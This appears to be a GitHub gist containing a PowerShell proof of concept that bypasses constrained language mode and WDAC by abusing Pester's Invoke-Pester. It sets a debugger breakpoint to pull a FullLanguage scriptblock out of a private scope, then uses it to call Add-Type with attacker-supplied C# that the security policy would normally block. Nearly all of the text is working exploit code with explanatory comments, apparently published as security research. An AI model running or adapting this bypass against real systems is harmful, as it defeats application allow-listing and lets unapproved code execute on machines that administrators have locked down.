Skip to content

Instantly share code, notes, and snippets.

@mattifestation
Created January 18, 2019 10:00
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mattifestation/e14c0823d01a99b902525f675170ee5d to your computer and use it in GitHub Desktop.
Save mattifestation/e14c0823d01a99b902525f675170ee5d to your computer and use it in GitHub Desktop.
PoC exploitation of the Invoke-Pester constrained language mode / WDAC bypass
# Explicitly load Pester so that the module base path can be determined dynamically.
# This bypass works for both Pester 3.4.0 and 4.4.0
$ModuleInfo = Import-Module -Name Pester -PassThru
$PesterPath = "$($ModuleInfo.ModuleBase)\$($ModuleInfo.RootModule)"
# Set a breakpoint on when Set-ScriptBlockScope is called.
# Upon calling Invoke-Pester, Set-ScriptBlockScope is called and the
# vulnerable $invokeTestScript scriptblock is passed to it.
Set-PSBreakpoint -Script $PesterPath -Command 'Set-ScriptBlockScope'
# Run Invoke-Pester which will trigger the breakpoint
Invoke-Pester
# Enter the following commands in succession at the DBG prompt:
# Command #1: Pull the $invokeTestScript out from a local script scope and save it as a global variable so that
# it can be accessed outside of the scope of a function that we otherwise wouldn't have access to.
# Command #2: Stop execution of Invoke-Pester and break out of the DBG prompt.
<#
$Global:Foo = $invokeTestScript
q
#>
# Note: I am not currently aware of a method to perform the two steps above in an automated, non-interactive fashion.
# Write the Add-Type payload to disk. Doing so will bypass untrusted string input tracking when Get-Content is later called.
@'
public class Bypassed {
public static string ToString(string message) {
return message;
}
}
'@ | Out-File test.txt
# Execute the vulnerable $invokeTestScript scriptblock that was pulled from an otherwise non-accesible context.
# Because the scriptblock was defined in a FullLanguage context, it permits an attacker to execute otherwise non-permitted commands - e.g. Add-Type
& $Global:Foo -Path 'Add-Type' -Parameters @{ TypeDefinition = (Get-Content .\test.txt -Raw) }
# Validate that constrained language mode has been bypassed.
[Bypassed]::ToString('Constrained language mode bypassed')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment